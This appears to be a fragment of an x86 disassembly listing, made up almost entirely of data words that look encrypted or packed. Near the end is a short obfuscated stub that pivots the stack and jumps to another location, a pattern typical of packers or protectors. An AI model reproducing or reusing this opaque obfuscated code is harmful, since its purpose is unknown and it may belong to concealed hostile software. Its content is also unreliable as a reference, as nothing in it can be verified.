		dd 0E2FB543Dh, 9434AE32h, 8280A9A8h, 0BB40078Dh, 0B9FEEFB1h
		dd 0F696420Eh, 2C9D6915h, 52156688h, 26FD3E17h,	0A7156622h
		dd 92C70F51h, 83C553AAh, 5FFF2942h, 6CB0E29Ch, 6953AFB8h
		dd 337D37E9h, 6B156644h, 2B169723h, 32018F48h, 0F5356688h
		dd 420E2613h, 0D6461C62h, 0C5A8B216h, 70486250h, 0CA7DA680h
		dd 0BB156641h, 37A8423Dh, 33156688h, 3D753BAFh,	321563AEh
		dd 0ED940011h, 851A560Eh, 1BA5079Eh, 88316726h,	8D11AEEFh
		dd 3219EC87h, 35FC6644h, 7B156622h, 34EBA019h, 0DBBF7746h
		dd 32156656h, 16A8FD6Fh, 3FD4E526h, 0CFAB4236h,	324A9486h
		dd 0D9945549h, 0CC81450h, 1AA38D09h, 0C93C2069h, 1AA3A5A3h
		dd 0F194203Ch, 0CC814C9h, 3214EF4Bh, 65EC6622h,	321562AEh
		dd 0B9EE4F88h, 0F6944278h, 32156626h, 3214E71Eh, 3EC6688h
		dd 3D6579Ch, 32078FFAh,	74F76611h, 0B2CF1C49h, 7D98C7EBh
		dd 74FA2649h, 92B16165h, 0B9E0CD71h, 0BB444258h, 36D4E7C3h
		dd 0B1156611h, 3E926249h, 0BC1A3A60h, 32156623h, 36F9E7E9h
		dd 0BB156688h, 37AC4248h, 33156622h, 61E93FDFh,	32156733h
		dd 0B9CDEF44h, 0F694423Eh, 32156615h, 0ECE3E7E8h, 0C747CA64h
		dd 0B41AA543h, 32156610h, 64300E74h, 3E9C6644h,	0B2759A06h
		dd 8C730ED6h, 547437B2h, 6A7350BBh, 321569CBh, 0E5753811h
		dd 7B1A0539h, 44618127h, 9AAC9F63h, 0B61AA52Dh,	32156782h
		dd 8D733624h, 0B94DD272h, 0F92907C0h, 32EDE287h, 0B2756644h
		dd 0E749AEAh, 2E9169D3h, 0C7156689h, 0B61AAC78h, 32156731h
		dd 0CD2800E4h, 69169ADh, 3D156645h, 321567A2h, 0F739311h
		dd 0B71A99A6h, 3215660Bh, 32156BCBh, 53812211h,	96CEC0ABh
		dd 0E4CA1C70h, 7D7D944Fh, 0BB15660Dh, 30AE4294h, 33156644h
		dd 6916ECD1h, 3214E61Eh, 61EC6688h, 0CA3596F3h,	0B3317AA9h
		dd 321562D5h, 321D8F88h, 574C6644h, 3643A3AAh, 9229C252h
		dd 331FE287h, 0B9ED6644h, 0BB44422Eh, 36D4E7F0h, 0B1156688h
		dd 3E926285h, 0BE1A3A06h, 3215661Eh, 32156C61h,	7BCD4444h
		dd 7BDB674h, 6324315Fh,	3466DF31h, 41AC0E0Fh, 1B4D2D24h
		dd 0DA753FD9h, 3215668Fh, 40FC6890h, 0B289C9A7h, 3D4FFEFDh
		dd 0DB749F3Fh, 32156769h, 321E8E42h, 8AAE6611h,	0DA7BC34h
		dd 0C09F39D8h, 6D7406B5h, 321EE91Eh, 34FC6688h,	39156644h
		dd 812EB82Bh, 0FB2407E9h
		dd 32156361h, 0BF326E44h, 8A45A927h, 21E62949h,	7438B67Fh
		dd 37758E7Eh, 46CEEFBCh, 0DB4DA738h, 3215668Dh,	8870855Dh
		dd 32788FBFh, 67EC6611h, 32156535h, 36943344h, 0C45EA506h
		dd 0DB943F07h, 24E32D4Bh, 62FC9A19h, 0DB156622h, 3215661Ah
		dd 0B0408FE3h, 0FA69E8B7h, 5AAA024Fh, 32156617h, 0B1316A03h
		dd 0B61A6280h, 32156623h, 323C8FE8h, 0BD1A6688h, 3215665Ch
		dd 3207EC2Dh, 3FFC6611h, 0C4156688h, 0C52025E7h, 675F9FC2h
		dd 0DE135A74h, 32120EDDh, 0BB486644h, 0C1ED3BCBh, 0B37306B5h
		dd 8CFE585Bh, 4BD631F6h, 4398ED43h, 3D12B735h, 32156709h
		dd 0FB909A44h, 3235E32Dh, 3EFC6611h, 8A156688h,	1D75600Ch
		dd 0E1EEDE72h, 0BBFB1B35h, 0E331173Dh, 0DCA60643h, 5D9F159Ah
		dd 6EA0744h, 0F6963FACh, 88479A40h, 32156623h, 0BBC2EF46h
		dd 0DB4F3970h, 32156649h, 0C0963462h, 375348A7h, 892A4142h
		dd 26FCA517h, 0C3156622h, 435EFCDDh, 2DFB7DAEh,	0F3014830h
		dd 99FE349Ah, 54593DB4h, 0B3735077h, 0B564270h,	1611ED44h
		dd 3217A290h, 7736688h,	0B31A5F07h, 32156623h, 3DD65AE9h
		dd 3214A90Ch, 0B61A0644h, 32156621h, 0B2C5D11Eh, 0C774EC50h
		dd 320CCF2Ch, 1601EF22h, 0C19DA099h, 26A706D2h,	32156BADh
		dd 0FD428A22h, 3CC42B72h, 0DBB8BA14h, 0CA745C53h, 12E5D070h
		dd 1601EDE2h, 0C711A20Bh, 321DE34Bh, 0CB756622h, 30715DA8h
		dd 0C99507EAh, 0CC916934h, 3D156621h, 32156C9Fh, 32108F88h
		dd 0F1B6644h, 0E8F8E05h, 539169F8h, 0CE156689h,	321572ADh
		dd 0A4DE2C22h, 0C75F7F08h, 0EB0E212Ah, 0D8D21B7Bh, 54177A37h
		dd 3DFE5A2Ch, 3214590Ch, 32198F44h, 0A47A6622h,	39C65604h
		dd 57DDE28Bh, 0F029B675h, 3333E22Dh, 3D756611h,	3215660Bh
		dd 0F9290744h, 3303E22Dh, 0B81A6611h, 32156689h, 35FC06B1h
		dd 0C9156622h, 812CA37Ch, 8C73B27Eh, 5474F4E1h,	3D30991Fh
		dd 32159595h, 0B01A9A88h, 32156645h, 3DDF5ADEh,	32158595h
		dd 35936988h, 3D156644h, 321567A9h, 0D1299A11h,	3146E287h
		dd 54ED6644h, 3DEA481Fh, 32151794h, 0DE969E88h,	1609EF40h
		dd 32156499h, 0B8E66711h, 3DFC3D8Bh, 6E156644h,	6DB4F753h
		dd 1F4A9328h, 64B9AC80h, 87449559h, 42D0E65Dh, 0CCA69391h
		dd 0BED8E645h, 23A73422h, 6873B322h, 0DB4C8E31h, 3215669Bh
		dd 0E54AB93Dh, 44732BB4h, 906CAD02h, 0C74BFFABh, 0DBC2DF1Ah
		dd 3215662Fh, 0C8FF0CF2h, 0C353F4ECh, 68CECAC1h, 3DB55AEAh
		dd 32153595h, 6CAD9388h, 651F506Ah, 3249269Dh, 6DED477Eh
		dd 7C26878Dh, 7F5B727h,	508B6788h, 30948E24h, 83750630h
		dd 0E3A26992h, 32138F43h, 7F5F6611h, 0A02588DAh, 32938F25h
		dd 0B91A6622h, 32156605h, 321D8FE8h, 311E6644h,	370AEA6h
		dd 49AB9BC1h, 53124D92h, 1664D3CDh, 0BE1A61F3h,	32156616h
		dd 3214E987h, 0DBED6644h, 32156633h, 7ACD5D1Ch,	0D869AAEh
		dd 0CBAEFB33h, 86F93141h, 7188EBCCh, 0CE12B155h, 321CE04Bh
		dd 54756622h, 541354AAh, 0CD74A903h, 32138F97h,	71056622h
		dd 8079B9C1h, 45CBDCDAh, 0F0945B0Fh, 1DE0C1Ch, 34F7A753h
		dd 0CFFE7C2h, 0BB50DEC3h, 1601EDF2h, 0CB11A292h, 0BB439A4Bh
		dd 36D3E7A2h, 0B1156622h, 69262FFh, 369C3AACh, 359C6960h
		dd 52156622h, 6592DD77h, 647D077Dh, 0BB156602h,	22AE423Eh
		dd 33156611h, 6916ED7Bh, 0CF90EFB8h, 3D12B72Dh,	32156796h
		dd 369E9E88h, 0D19C3560h, 3211A5A3h, 0F1966611h, 1609E18Ch
		dd 26956918h, 3D156622h, 3215689Eh, 321C8F88h, 7B086644h
		dd 82B4EEC3h, 600580A0h, 1A4E0EDFh, 0C54A79A2h,	31FAA7FDh
		dd 72178190h, 0C5940083h, 36166658h, 334A9CABh,	8B753CC7h
		dd 26141A43h, 3213EB4Bh, 0BB1A6622h, 32156611h,	53A8EBE9h
		dd 0DB12B754h, 32156627h, 62BE3E9Ch, 20FCCB2Ch,	38156644h
		dd 97080EFBh, 0CAB4260Ch, 0E9690985h, 128760CEh, 0E8AF34F2h
		dd 336D6C50h, 76163C58h, 0E8384260h, 526D6C63h,	3AFC06A0h
		dd 0EC156688h, 2B8C8219h, 53BFE5E8h, 359C69BAh,	3D156688h
		dd 321567C4h, 8F989322h, 35C443E8h, 32157661h, 138BF244h
		dd 0E5B4FFBEh, 0FCD76769h, 7623CF1Dh, 0B975CB7Eh, 309C69E5h
		dd 52156611h, 571007E9h, 3164320Dh, 61314266h, 61173FAAh
		dd 0C5C69182h, 0DCE6E79Fh, 0B352A533h, 1E2E50F2h, 57D6E796h
		dd 0B367870Fh, 40FFAAE1h, 69CD4FE3h, 49AE0E7Dh,	369C6644h
		dd 0F7950606h, 8D73360Ch, 534A9C30h, 32138F24h,	0BE646622h
		dd 0BBE4E462h, 8D75CDE9h, 7B101822h, 533DB2A2h,	2188DB9Ch
		dd 0BB1A6159h, 3215664Eh, 321563CBh, 560CE11h, 3DB8C362h
		dd 32156CC0h, 0A7A30622h, 3215E71Eh, 61746688h,	0D3017FFFh
		dd 69CD6729h, 1A312212h, 0D3017FA5h, 32198F4Fh,	71466622h
		dd 89F4BC74h, 0CFE54AA5h, 22FC4850h, 42156622h,	4CC817E1h
		dd 390B5A15h, 0FAB35828h, 99D565C5h, 162199EDh,	36D1E7D6h
		dd 0DB156644h, 32156629h, 0C6B86F39h, 4D535EFFh, 0F10A083Dh
		dd 7FAE742h, 0DB723D50h, 3215669Bh, 181B9187h, 0C5B4DF52h
		dd 7BDC443Dh, 0F209555Dh, 5300FF7Ch, 26050EDBh,	69C6611h
		dd 339569ACh, 0CE156644h, 0EE68FBAFh, 0CDEC61C6h, 0B975065Bh
		dd 321B8F93h, 2B9D6622h, 4A6A59DAh, 0BDAE7D91h,	9B34332Ah
		dd 0DB749E43h, 0CDEA9AE3h, 32156161h, 88AA44h, 7940DE28h
		dd 32156BF8h, 11FDF088h, 287EBF9Bh, 0B2911DC3h,	0CEDF7A29h
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 9C92A2C0h, 0A8ED96A5h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 425306C6h, 9732DCF1h
		dd 0BA8DCC3Eh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 8DBBAD38h, 0DF07462Dh, 53714561h, 3C6D5h, 5492B85Eh
		dd 3075152Ah, 5CDDAEAEh, 51828FA7h, 0D9FB567Bh,	9C9ED6B0h
		dd 0DD7BAEA5h, 5863E96Fh, 0ABA851A2h, 3075195Fh, 4032DCAAh
		dd 168DCC3Eh, 406BCB2Fh, 967512F3h, 0BD54142Bh,	458A152Ah
		dd 0A8EDDAC3h, 4582D7E3h, 3044BAh, 6E800h, 7C710000h, 0DD3344F5h
		dd 9E8h, 5E885800h, 4AF39ED6h, 8150B297h, 0E956F8EAh, 5F5A5944h
		dd 81C9B70Fh, 0DD36C7h,	37126800h, 8A0F0000h, 2, 0F958D78Bh
		dd 0BF0F1F8Bh, 0CCC381D0h, 0F2B8483h, 0EB81D6BFh, 702F504Dh
		dd 48D0Fh, 0BE660000h, 0EB8117FEh, 7551B4B4h, 0F53CA8Bh
		dd 0D8Bh, 6E800h, 2A550000h, 70D4DC15h,	78F5EF8h, 83D38B66h
		dd 0E86004EFh, 8, 4C5D76E8h, 5BC714F4h,	5E9h, 0FBC2BC00h
		dd 0E85E979Dh, 0Ch, 0CECA1209h,	62F268Dh, 6CF6FBADh, 0EC09B866h
		dd 0F48615Eh, 2885h, 13E900h, 6EF50000h, 9F6D4523h, 0BABDA9CAh
		dd 1F202785h, 0C295F1B6h, 0E983E99Ah, 8BA4F305h, 0B7DB03CBh
		dd 0C93256ABh, 0E32AC99Eh, 58DEDDE1h, 0B1325667h, 7B78BA77h
		dd 57FDE24Bh, 939AF1F8h, 5238C9FAh, 3B52CDA7h, 0B2B05934h
		dd 0D73256EAh, 595381FEh, 5E983BAh, 0F1B0A4F3h,	7AF29D11h
		dd 0FB2375FDh, 0A3B94517h, 3FD525FAh, 61ADFDF5h, 2290ACF9h
		dd 7ACFB734h, 29B723ACh, 7A1A20ADh, 277975FDh, 7FED987Ch
		dd 0FFA07224h, 0E983765Fh, 8BA4F305h, 5ABD8DDBh, 8D07D92Ah
		dd 0D9B2748Dh, 6644B807h, 0CF2B3215h, 3102E9C1h, 83C8D007h
		dd 754904C7h, 18C0FF6h,	0FC000000h, 4EC83FCh, 81240489h
		dd 666D2404h, 2D58147Ah, 147A666Dh, 0BD83F9F9h,	7D13405h
		dd 83097500h, 0D12849BDh, 19740007h, 0C08B5350h, 411B8h
		dd 11858900h, 8D07D120h, 0D3E2179Dh, 5BD3FF07h,	49BD8358h
		dd 7D128h, 53501774h, 411B8h, 11858900h, 8D07D120h, 0D3DEB89Dh
		dd 5BD3FF07h, 8E0F6058h, 4, 80EEBA66h, 9E9h, 0E868DE00h
		dd 6E8A395h, 6061C800h,	85AA3BBEh, 93FEB96Dh, 0F86123A4h
		dd 24348150h, 6FFA4744h, 44BB5358h, 316FFA47h, 8B605BD8h
		dd 61D58AD3h, 13E8F8h, 866E0000h, 1ECCB5ECh, 0EA27CF5Bh
		dd 0F1EC42F5h, 874D173h, 880F5B8Bh, 4, 6C73B966h, 5F69C381h
		dd 0DE80000h, 8F000000h, 0B9FF2F15h, 0C5448706h, 750CE52Ah
		dd 9667CE81h, 2B5E4A7Ch, 133C8BD2h, 0FDF781F9h,	800CB46Bh
		dd 0C78177F5h, 255B0919h, 0F7815957h, 115052B6h, 12E8h
		dd 753E2D00h, 9E79CF6Dh, 36D2EF4Ch, 5216F03Fh, 0E867A189h
		dd 8, 0E8AED3A5h, 5DFD1B6Bh, 595EE2B4h,	0EBED8057h, 0FC13048Fh
		dd 0E2D98166h, 3EA83B8h, 604ACA8Bh, 58D0Fh, 0E3BF0000h
		dd 0E92E8DAFh, 0Dh, 457F8229h, 2C5F2E41h, 7F61D8CAh, 0FA81612Ah
		dd 0FFFFA158h, 0FF7F850Fh, 1CB9FFFFh, 8D4A9E05h, 0D9B6E28Dh
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0DDBF1B5Dh, 0AF277AECh, 6E9h, 32DD5D00h
		dd 893CD04Ah, 0D11B518Dh, 0D7B70F07h, 0D2F2BF66h, 2D5585C7h
		dd 5B0007D1h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 6E3FB4C3h, 0BD896205h, 7D12AA5h
		dd 1D3985C7h, 7D1h, 85290000h, 7D10FDDh, 2DC1B5FFh, 6A07D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0D86677C3h, 0BBCA8166h, 195FF8Fh, 8B07D118h,	0D106CD95h
		dd 0FF006A07h, 0D1005595h, 0EBC08B07h, 0B647577Eh, 38D2D1A9h
		dd 0D22B881Bh, 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 8E5C5918h
		dd 30DA8AB7h, 0BEC4B06Eh, 32512B1Dh, 27EF4776h,	0E7D9B34Ah
		dd 81F3EBDAh, 7A3BB7F5h, 0D62A9CBCh, 5EEFE802h,	824AB473h
		dd 9E79EA2h, 0AE23992h,	29F53BC8h, 48E95485h, 11463201h
		dd 7483FFEh, 0F733F638h, 0ABE3F77Eh, 6A9D34BDh,	0C49FE704h
		dd 0E86E384Fh, 805F722Bh, 0BB5B6ABAh, 6A9907CFh, 0E9A9C338h
		dd 7, 76B08D72h, 0E9000000h, 5FFh, 800DF3ABh, 6EFBF193h
		dd 5DEA0481h, 46D31170h, 32BF3959h, 0C8E2677h, 1F7A67F4h
		dd 2A6754E1h, 32523FCCh, 9B8729B6h, 26B8FDEh, 614D351Ah
		dd 4AD91774h, 2F63216Ch, 0ED803D50h, 0D71228B4h, 2DC4A940h
		dd 834B4BC9h, 750C8087h, 3CE7A390h, 83DEE3F4h, 3D29C007h
		dd 21D99451h, 54EB1229h, 4D4B38C5h, 0BFDDCAAFh,	156F5C41h
		dd 0DB86F2D7h, 5997F52Ch, 37F4E0CCh, 12292236h,	7B68F78Eh
		dd 9FCE8B1Eh, 25122921h, 7E6AF78Eh, 0E7A1F191h,	0F68D2409h
		dd 0FEEB7A11h, 927E639Dh, 7B0AE4A5h, 10F50B8Eh,	0D64DBC67h
		dd 0C1AE3BB5h, 834025C3h, 122921E7h, 4906F2DEh,	12292224h
		dd 1CD2B3A0h, 7A09A037h, 0FDEA20CFh, 5ED5649Ah,	39CDA351h
		dd 8D8Ch, 3622AE00h, 28B4F479h,	27E4D012h, 1228B546h, 0C150E77Eh
		dd 5338B4D4h, 28B4D596h, 0DEBA712h, 0A45A3B28h,	998833BFh
		dd 7AA954F8h, 0CD367639h, 0A5624E39h, 1228A8C8h, 3D665FCh
		dd 0Dh,	8F692A17h, 24DABDAAh, 8211A83Fh, 336721A4h, 1C019856h
		dd 0B297552Fh, 0A5BC6C5h, 48A6E161h, 2668CC63h,	0F7907DC9h
		dd 0E67D14F9h, 3BEA9501h, 806C8004h, 0CD8BE51Ch, 0FAF17DE5h
		dd 8C3B9FBCh, 55E2717Bh, 3FCC2868h, 0CF216653h,	36226240h
		dd 28B4F479h, 0AA39D012h, 0CDCDDDBDh, 0B54C21DEh, 0E1781228h
		dd 0E1CE654Ah, 0CBB047A1h, 6146BADEh, 9EFCE9D5h, 82E67D62h
		dd 8906D8C8h, 0E08B1A19h, 9398FA31h, 0B9D73880h, 0B8A1D73Bh
		dd 0C5B23FD6h, 574429C7h, 0EEDBC03Eh, 837055ABh, 9DFCE907h
		dd 0B8D7A5Fh, 0D07910F5h, 395F625h, 0D7E8A958h,	2639CD8Bh
		dd 6Fh,	87612148h, 51D0B5A2h, 9FF5A599h, 7BF2AF28h, 49122918h
		dd 9F841BB2h, 0A2998833h, 8E7B08E0h, 220FF40Ch,	0B3A08563h
		dd 463318D6h, 0C03E5743h, 2DD84429h, 600B9DFEh,	97CFF0B1h
		dd 572E39CDh, 50000000h, 0A2876121h, 2E1AD4B5h,	0B4E88542h
		dd 45DC1228h, 0D6BB3958h, 0DECBB03Fh, 725F44BCh, 20F6DB15h
		dd 9CE58675h, 8F0B02F1h, 2206E471h, 0B59A5435h,	0E6A28F1Eh
		dd 268250Ah, 0C31228B5h, 7A8E918h, 0D639CD36h, 0Eh, 2C41FEEAh
		dd 501228A9h, 7B12B735h, 64210EECh, 0B4995734h,	0B4A1861Dh
		dd 8A3318D4h, 9CF930DFh, 0FCE9D562h, 177B609Ch,	7E7DFA95h
		dd 0FD8C23D0h, 0F2DE036Fh, 0FAB37935h, 0CFB44B19h, 5A46A2E2h
		dd 42D12F6Dh, 2CC8C8B5h, 0B3E18A47h, 533F19FAh,	17F3BFEFh
		dd 0D9B8FD69h, 89F361Bh, 0E95FCE79h, 0D6659BFCh, 0C04DABE9h
		dd 5237B5D3h, 0E4C92765h, 17F6C58h, 0D867FEE3h,	5C48FE2Dh
		dd 0F9C8CE9Fh, 0B492F619h, 0F0A69294h, 3A27B64Dh, 0AB49485Ah
		dd 40BED9C6h, 962DC45Bh, 0FAB91D09h, 58DBD206h,	357AF180h
		dd 0A8419EB0h, 1CFh, 5A13D0BCh,	6A19FA23h, 226644D3h, 0F41AC2BEh
		dd 33C2F8DDh, 2814F5A5h, 18DCD83Ch, 0AD926C2Dh,	0DD7EB216h
		dd 15D99625h, 0AF19F9FFh, 0E3473318h, 395DD865h, 1E7D6A54h
		dd 0D564FBE0h, 647FA8E8h, 0C1565C10h, 66EBA90Dh, 0E9A3A4E3h
		dd 0B8D8C552h, 2463503Ch, 0BB4AE1C6h, 4486EAD6h, 747B82B5h
		dd 492ECACAh, 9F8C1BB2h, 311E03E1h, 0C7B49957h,	0DE4A2FCDh
		dd 17A3C433h, 0EB823F2Bh, 0D919FA4Fh, 1908B342h, 0F9866222h
		dd 9ED12D82h, 67B041h, 0D8C40000h, 0FA44521Bh, 0CA43B319h
		dd 0C5F89863h, 1CFA8920h, 2EE1580h, 28B50845h, 4025BC92h
		dd 75286754h, 28B4B5B8h, 0E1780F92h, 0B4D89552h, 0E1A49228h
		dd 5E39260Bh, 0A44FBBA0h, 933E1475h, 5C2AE64h, 9228B468h
		dd 0A836C55Ch, 6D2A16FDh, 1228B4E0h, 0C633399Dh, 6961B41Bh
		dd 4A4835DAh, 128A17AEh, 0D7h, 9A128034h, 28B490DDh, 4D473412h
		dd 9C33CAAFh, 8017D5AFh, 0E6A3D794h, 8A2119F9h,	19D7B19Eh
		dd 0D8B8A58Ah, 0E2A28F1Ch, 0A1FEB539h, 0BA510988h, 9BFCE9D5h
		dd 4F19D665h, 0D119F9FEh, 619FF8E5h, 42F827D2h,	0B9F554DEh
		dd 0A0371CDAh, 73148C3Ch, 5B99F7E4h, 0A7C6836Fh, 0D519F9F5h
		dd 0FD9439B7h, 8F5E16Eh, 9F8C718Fh, 0DE6D04E2h,	0D3BF2250h
		dd 0D3ADBD16h, 2E1B0721h, 95D8956Bh, 0E821D3ADh, 0D3AE422Bh
		dd 46EB8221h, 27C1C2AFh, 2814AB42h, 0F9E5C3Bh, 36513E2Ah
		dd 0AD3CD3B8h, 5F57C0C0h, 0C9F1375Dh, 1FB63250h, 0D4389C88h
		dd 0DB1575F4h, 3EFB5FF6h, 0EFD46322h, 856A8602h, 16FBF998h
		dd 25916F29h, 41EA8B7Ah, 630F6796h, 0FED5927Eh,	0C629ACC3h
		dd 22C4A22Fh, 399D5335h, 6D84A9A8h, 15A33221h, 34988465h
		dd 0C6D25FF0h, 0F2DE6D68h, 3159E35h, 0AA8F261Ah, 9421DFBDh
		dd 260BE9A7h, 6C46A469h, 7FAE598Bh, 0A45FC8C8h,	0E0F71C6Ah
		dd 0D7BC3456h
		dd 8512A940h, 0E5A6F898h, 0F88F260Bh, 34672613h, 6CAAF677h
		dd 0A037CE8Bh, 0B86712BBh, 58E50381h, 5058086Ch, 52032972h
		dd 0E4B6D6C3h, 0D0674CA0h, 0ADC5439h, 0F0000000h, 82678503h
		dd 0C27E5CEBh, 837D21E4h, 15D3B19Eh, 0A8464330h, 3DB3D6C3h
		dd 0D12F6B58h, 6583FFECh, 0F6F49380h, 8D632411h, 23D9BBA8h
		dd 1F686F3Eh, 89000049h, 568242Ch, 89000079h, 8868241Ch
		dd 8900004Dh, 6DBB2404h, 813A3846h, 2F7ED6F3h, 0C1D3F71Fh
		dd 0E3C102EBh, 0FFB85003h, 2D55350Ch, 63F44F46h, 0A625D0F7h
		dd 350DCA72h, 0BE827BF8h, 6858C331h, 4BAh, 81242489h, 42404h
		dd 52580000h, 5089DA89h, 24148B08h, 4C481h, 34FF0000h
		dd 0C4815824h, 4, 5B2434FFh, 4C481h, 19E90000h,	52FFF7C1h
		dd 16AB2681h, 56E10FEBh, 0B805E8F8h, 7D9BCECh, 0E0FFC503h
		dd 564EA404h, 357AD510h, 75CB751Ch, 3B05020Fh, 402A8E88h
		dd 0D12BE6Fh, 3D1FA781h, 170D4559h, 31191FBBh, 2A046FE5h
		dd 49ED3BF3h, 6FF4695Bh, 5B00A8C2h, 2CB88FB0h, 59476128h
		dd 1324F243h, 0BEC4A68h, 0F7CA6D7h, 19543769h, 78A99B4Fh
		dd 5035197h, 64EEBF21h,	20E9h, 0CFE53E00h, 7Ch,	6 dup(0)
		dd 4B4E900h, 1D680000h,	0E907D9BFh, 0FFF7C078h,	0D9BF9468h
		dd 0C06EE907h, 0CF68FFF7h, 0E907D9C0h, 0FFF7C064h, 0D8659B03h
		dd 0C653A9EBh, 0B542BCD9h, 9E2BC9C8h, 8A17D1B1h, 0A4E6CECFh
		dd 0B7D2BF4Ch, 0C2BFAC39h, 0EAAA9724h, 0F3DF810Eh, 2733736h
		dd 0C7A58D1Ah, 0A2876121h, 0C6C3D7B5h, 563BB5D2h, 49128BFh
		dd 916F2B18h, 0E3067402h, 0D3403AF7h, 0ED8419F9h, 512F1C08h
		dd 2A17AE93h, 13AA8F69h, 0D2A2C784h, 0BEDA19F9h, 6B50ACECh
		dd 6B583DD4h, 46EFD42Ah, 790B6C9Bh, 515E5FCEh, 8C419E54h
		dd 2E1h, 0FCDE31AEh, 9277750Fh,	0ACDE6CFBh, 0A3E59280h
		dd 0D8A307E5h, 2EE8542h, 0FAB0D945h, 0EF54EB19h, 6017B032h
		dd 9A7F2B17h, 3441F1AEh, 0EC831F31h, 0E8097907h, 372410FCh
		dd 8EDF9C5Ah, 361F3133h, 1753109Fh, 6627026Fh, 0FCE11F79h
		dd 9A31D665h, 0B4D5C2AEh, 2FBE553Ah, 0BAA64242h, 6F5C11CEh
		dd 0D1682702h, 0DDC9B542h, 2704D20h, 51E07727h,	14C82464h
		dd 0E5C7D918h, 0F36BE3C8h, 4000002h, 0ECD9669Ah, 0DAC754A8h
		dd 0C9B643BDh, 0B29F2CCAh, 0D08B18D0h, 4DABE7CDh, 3AB0D3C0h
		dd 25C3C0ADh, 0FEDAB98h, 37F4E082h, 1A027436h, 80C8A68Eh
		dd 0FEF89912h, 0FFEB8219h, 2730642h, 3B27BE1Ah,	947DEB4Fh
		dd 38535C55h, 85E92532h, 19A850FBh, 5926E2Ch, 927E7A18h
		dd 1A84E9A6h, 0A9401A02h, 0F078351Ah, 8C1A021Ah, 3E3CF00Ch
		dd 0EAF6C704h, 27C8D05h, 118D0000h, 137562EFh, 226350DDh
		dd 33523FCCh, 5F3B28B5h, 445914A1h, 49D61270h, 36C3395Ch
		dd 21AE4849h, 0B985434h, 0ADC07D69h, 171A0273h,	1280512Fh
		dd 2A1703EFh, 12A98E6Ah, 7282C683h, 0AB421A02h,	5716D3BFh
		dd 6D1A0273h, 0A56247D6h, 1A0272C4h, 0F8B96813h, 41A6EFB7h
		dd 18C26h, 63214800h, 0D5B3A085h, 127DC44Ah, 3E5A7D0Bh
		dd 0AF46DDC2h, 8DFD8B18h, 0ABC3806Ch, 1919FA80h, 89E09D82h
		dd 4E19FA80h, 7C3374A3h, 61419EFEh, 3Eh, 0EF128083h, 0DD6C4603h
		dd 0AD1119F9h, 4A499AC2h, 94A748ACh, 0F68D6326h, 462BC267h
		dd 0FA22E089h, 1E0BF719h, 0B19D827Eh, 0FA2279F4h, 1DB44B19h
		dd 7334E38Eh, 419EA43Ch, 0BCA1h, 6321C300h, 0C7B4A085h
		dd 0B4A130CEh, 48351AD6h, 0DAC7AC48h, 0C5B13EBAh, 0DC11E061h
		dd 62F11FB2h, 292EA2A5h, 3EBADA12h, 3C7723B1h, 25BCA15Fh
		dd 0F9B6A28Eh, 12292E74h, 3E2AB950h, 0FD0E0581h, 3C28BF19h
		dd 215F334Fh, 567ADEC3h, 0FEA5802Bh, 2FBC53EAh,	69315643h
		dd 52E9CE28h, 433F2CBBh, 76EBF1A5h, 0D4B9F6CAh,	1415Ch
		dd 0B42C5200h, 0A25E3A27h, 916F2815h, 7A781704h, 668200EDh
		dd 2D7F1ED9h, 1906936Dh, 6F3807Eh, 0F1DE6B85h, 26C85593h
		dd 74F07D3Ah, 0ECD41A02h, 8761210Eh, 718F0DFAh,	91DC9985h
		dd 331228B4h, 94800D9Ch, 0B482EBA8h, 0AB421228h, 9423DDBEh
		dd 856321B6h, 17D5B3A0h, 0D182C72Bh, 0E35E62CAh, 0CC6348A6h
		dd 8B19A635h, 510EFA1Fh, 19FAB822h, 321F0BA2h, 1BB29751h
		dd 0D7B3A08Ch, 9ACF8C19h, 0E219FAB7h, 3934F1A2h, 8B19FAB8h
		dd 0E3D05DF4h, 786449A7h, 0AEF0D8Bh, 0B6A20F73h, 0B63ACD7Ah
		dd 9CAF27h, 0D7C30000h,	0FB8F531Ah, 4BDA7119h, 5035226Dh
		dd 9322B99Eh, 88749505h, 27279CBh, 55E74B1Ah, 0B68B3DB8h
		dd 0F2088B78h, 0B89765Bh, 157360EDh, 42FFEBD7h,	1A02112Bh
		dd 13E9AC99h, 9C00972Eh, 0AD382C5Eh, 0DEC35216h, 6E8005F2h
		dd 0A663F289h, 9518C99Eh, 0CE45B45Fh, 0B9A532CEh, 0CA5D10CDh
		dd 7A679518h, 0BA49E018h, 4C31CFCDh, 0DDC2205Fh, 9F5C4834h
		dd 9518CACEh, 25D05FF6h, 0A3413FF6h, 8D6B2916h,	1430A8h
		dd 0C2520000h, 0F7ABE9D6h, 0E37A5F9Dh, 1B7A674Ch, 0CA61F8DDh
		dd 7D215D3Bh, 0D3B19E83h, 46433015h, 0B3D6C3A8h, 2F6B583Dh
		dd 83FFECD1h, 0F4938065h, 632411F6h, 0D9BBA88Dh, 686F3E23h
		dd 6B51h, 68241C89h, 0BABh, 68240C89h, 5692h, 0B9240489h
		dd 2D145DA1h, 587EC981h, 0D9F72FB0h, 240CFF51h,	1EF18159h
		dd 54D7921Ch, 8324048Bh, 575204C4h, 34305CBFh, 0CFACBA1Bh
		dd 0FA01E4CBh, 89C2015Fh, 48B5A0Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dd 48722AE0h, 35B820E0h, 307D9C2h, 3EE0FFC5h, 15709A3Eh
		dd 86C9126h, 0C27EFA50h, 4F4D5F93h, 76150770h, 0BA5232B0h
